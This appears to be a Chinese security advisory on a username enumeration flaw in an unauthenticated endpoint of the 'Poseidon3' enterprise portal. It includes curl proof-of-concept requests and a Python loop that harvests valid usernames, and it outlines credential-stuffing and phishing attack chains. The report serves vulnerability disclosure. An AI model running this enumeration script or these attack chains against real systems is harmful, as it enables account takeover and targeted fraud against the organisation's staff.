| 字段 | 内容 |
|---|---|
| 报告编号 | VULN-OMS-2026-004 |
| 漏洞等级 | 🟠 中危 |
| 漏洞类型 | 用户名枚举 (Username Enumeration) |
| 目标系统 | example-poseidon3.*****.com (Poseidon3企业应用平台) |
| 发现日期 | 2026-07-07 |
| 影响服务 | po-server(门户服务) |
Poseidon3企业应用平台的用户名检查接口 /portal/member/userRegister/checkUserName 无需任何身份认证即可访问,且对已注册和未注册的用户名返回不同的响应结果。攻击者可利用该接口枚举系统中有效的用户名,为后续暴力破解、撞库攻击和社会工程攻击提供目标名单。该漏洞属于OWASP Top 10中 A07:2021 - Identification and Authentication Failures 类别。
POST https://example-poseidon3.*****.com/po-server/portal/member/userRegister/checkUserName
在前端构建产物中发现如下调用逻辑:
// pages.e7b00d27.js
poServer.post("/portal/member/userRegister/checkUserName", params);
该接口由 po-server(门户服务)承载,未被CAS SSO保护,且接口层面无独立认证机制。
接口通过返回不同的响应内容区分已注册和未注册的用户名:
| 请求用户名 | 响应状态 | 含义 |
|---|---|---|
admin |
返回”用户名已存在”或特定状态码 | 🔴 用户名有效(已注册) |
nonexistuser12345 |
返回”用户名可用”或不同状态码 | 🔵 用户名不存在 |
| 信息 | 攻击利用价值 |
|---|---|
| 有效用户名列表 | 🔴 作为暴力破解的输入字典 |
| 系统用户命名规则 | 🟠 推断用户名生成模式(如姓名拼音、工号等) |
| 账号存在性确认 | 🟠 用于定向钓鱼攻击和社会工程 |
# 测试已知用户名
curl -sk -X POST \
"https://example-poseidon3.*****.com/po-server/portal/member/userRegister/checkUserName" \
-H "Content-Type: application/json" \
-d '{"userName":"admin"}'
# 测试不存在的用户名
curl -sk -X POST \
"https://example-poseidon3.*****.com/po-server/portal/member/userRegister/checkUserName" \
-H "Content-Type: application/json" \
-d '{"userName":"nonexistuser12345"}'
import requests
import json
url = "https://example-poseidon3.*****.com/po-server/portal/member/userRegister/checkUserName"
common_users = ["admin", "administrator", "root", "test", "guest",
"sysadmin", "operator", "user01", "zhangsan", "lisi"]
for user in common_users:
resp = requests.post(url, json={"userName": user}, verify=False)
if "已存在" in resp.text or resp.json().get("code") == "00001":
print(f"[+] 有效用户名: {user}")
1. 枚举出系统中的有效用户名列表
2. 结合互联网泄露的密码字典(如社工库)
3. 利用 Spring Security 登录接口进行撞库攻击
4. 由于验证码未启用(checkVerifyCode=0),可自动化大规模尝试
1. 枚举出企业内部员工的真实用户名
2. 推断员工姓名、部门等信息
3. 构造定向钓鱼邮件或电话诈骗
4. 利用企业内部信任关系获取更多敏感信息
枚举用户名(checkUserName) → 撞库/暴力破解(Spring Security登录) → 获取合法Session → 访问业务接口 → 数据窃取/篡改
| 层级 | 问题 |
|---|---|
| 架构层 | po-server 未被CAS SSO保护 |
| 代码层 | 接口未做认证检查,响应差异化暴露用户存在性 |
| 设计层 | 用户注册流程设计缺陷,将用户名检查暴露给未认证用户 |
| 配置层 | Spring Security 未将 /portal/member/userRegister/checkUserName 纳入认证保护 |
| 维度 | 影响 |
|---|---|
| 机密性 | 🟠 中 — 泄露系统有效用户名 |
| 完整性 | 🔵 低 — 不直接导致数据篡改 |
| 可用性 | 🔵 低 — 不直接影响系统可用性 |
| 业务影响 | 🟠 中 — 为暴力破解和撞库攻击提供前提条件 |
/portal/member/userRegister/checkUserName 纳入认证保护范围,仅已登录用户可调用。报告日期: 2026-07-07